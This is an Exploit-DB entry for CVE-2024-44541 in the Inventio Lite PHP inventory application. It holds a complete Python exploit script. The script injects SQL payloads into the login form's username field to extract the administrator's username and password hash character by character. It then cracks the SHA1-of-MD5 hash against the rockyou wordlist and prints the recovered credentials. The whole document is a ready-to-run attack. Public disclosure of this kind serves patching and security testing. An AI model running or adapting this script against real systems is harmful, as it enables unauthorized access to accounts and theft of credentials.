Inventio Lite 4 - SQL Injection

EDB-ID:

52263




Platform:

PHP

Date:

2025-04-18


# Exploit Title: Inventio Lite 4 - SQL Injection 
Error Based SQLi in "username" parameter on "/?action=processlogin."
# Date: 08/21/2024
# Exploit Author: pointedsec
# Vendor Homepage: http://evilnapsis.com
# Software Link: https://github.com/evilnapsis/inventio-lite
# Version: < 4 
# Tested on: Linux, Windows
# CVE : CVE-2024-44541
# This scripts exploit this vulnerability, extracting the hashes from database and tries to decrypt it.
# The passwords are hashed like this: $pass = sha1(md5($_POST['password']));

import requests
import signal
from pwn import *

BASE_URL = "http://192.168.1.51/inventio-lite/"
PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"
LOGIN_ACTION = BASE_URL + "?action=processlogin"

# Handling Ctrl + C
def def_handler(x,y):
    log.failure("Quitting...")
    exit(1)

signal.signal(signal.SIGINT, def_handler)

def is_vulnerable():
    log.info("Checking if target is vulnerable")
    payload = {
        "username": "\") \"",
        "password": "\") \""
    }
    r = requests.post(LOGIN_ACTION, data=payload)
    if (r.status_code != 200 or "Uncaught mysqli_sql_exception" in r.text):
        return True
    else:
        return False

def get_administrator_hash(username):
    prog_hash = log.progress("Extracting Admin Password Hash")
    replace_payload = "\") or username LIKE '<USER>' or email LIKE '<USER>' and password LIKE '<STR>%' and is_admin=1 LIMIT 1-- -".replace("<USER>", username)
    characters = "abcdefghijklmnopqrstuvwxyz0123456789"  # SHA(MD5(PASSWORD)) so there are no symbols and no uppercases
    admin_hash = ""

    while True:
        found_char = False
        for char in characters:
            payload = {
                "username": replace_payload.replace("<STR>", admin_hash + char),
                "password": "blablablbalbablalba123@"
            }
            try:
                r = requests.post(LOGIN_ACTION, data=payload)
                r.raise_for_status()
            except requests.RequestException as e:
                log.error(f"Request failed: {e}")
                continue
            
            if "<script>window.location='index.php?view=home';</script>" in r.text:
                admin_hash += char
                prog_hash.status("-> %s" % admin_hash)
                found_char = True
                break
        
        if not found_char:
            break
    
    prog_hash.status("Final Admin Hash: %s" % admin_hash)
    return admin_hash

def get_administrator_username():
    prog_username = log.progress("Extracting Username")
    replace_payload = "\") or username like '<STR>%' or email like '<STR>%' and is_admin=1 LIMIT 1-- -"
    characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@."
    username = ""
    
    while True:
        found_char = False
        for char in characters:
            payload = {
                "username": replace_payload.replace("<STR>", username + char),
                "password": "blablablablbalbla123@"
            }
            r = requests.post(LOGIN_ACTION, data=payload)
            
            if "<script>window.location='index.php?view=home';</script>" in r.text:
                username += char
                prog_username.status("-> %s" % username)
                found_char = True
                break
        
        if not found_char:
            break
    
    return username

def decrypt_password(admin_hash):
    # Encryption is SHA1(MD5(PWD))
    with open(PWD_DIC_PATH) as password_file:
        for password in password_file:
            password = password.strip()
                
            md5_hash = hashlib.md5(password.encode()).hexdigest()
            sha1_hash = hashlib.sha1(md5_hash.encode()).hexdigest()
                
            if sha1_hash == admin_hash:
                return password
            
        log.error("Password not found in the dictionary.")
        return None

if __name__ == "__main__":
    # Check if target is vulnerable
    if not is_vulnerable():
        log.failure("Target not Vulnerable...")
        exit(1)
    log.success("Target Vulnerable!")
    log.info("Dumping Administrator username...")
    admin_username = get_administrator_username()    
    admin_hash = get_administrator_hash(admin_username)
    pwd = decrypt_password(admin_hash)
    log.success(f"Password Decrypted! -> {admin_username}:{pwd}")
    log.info("Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations")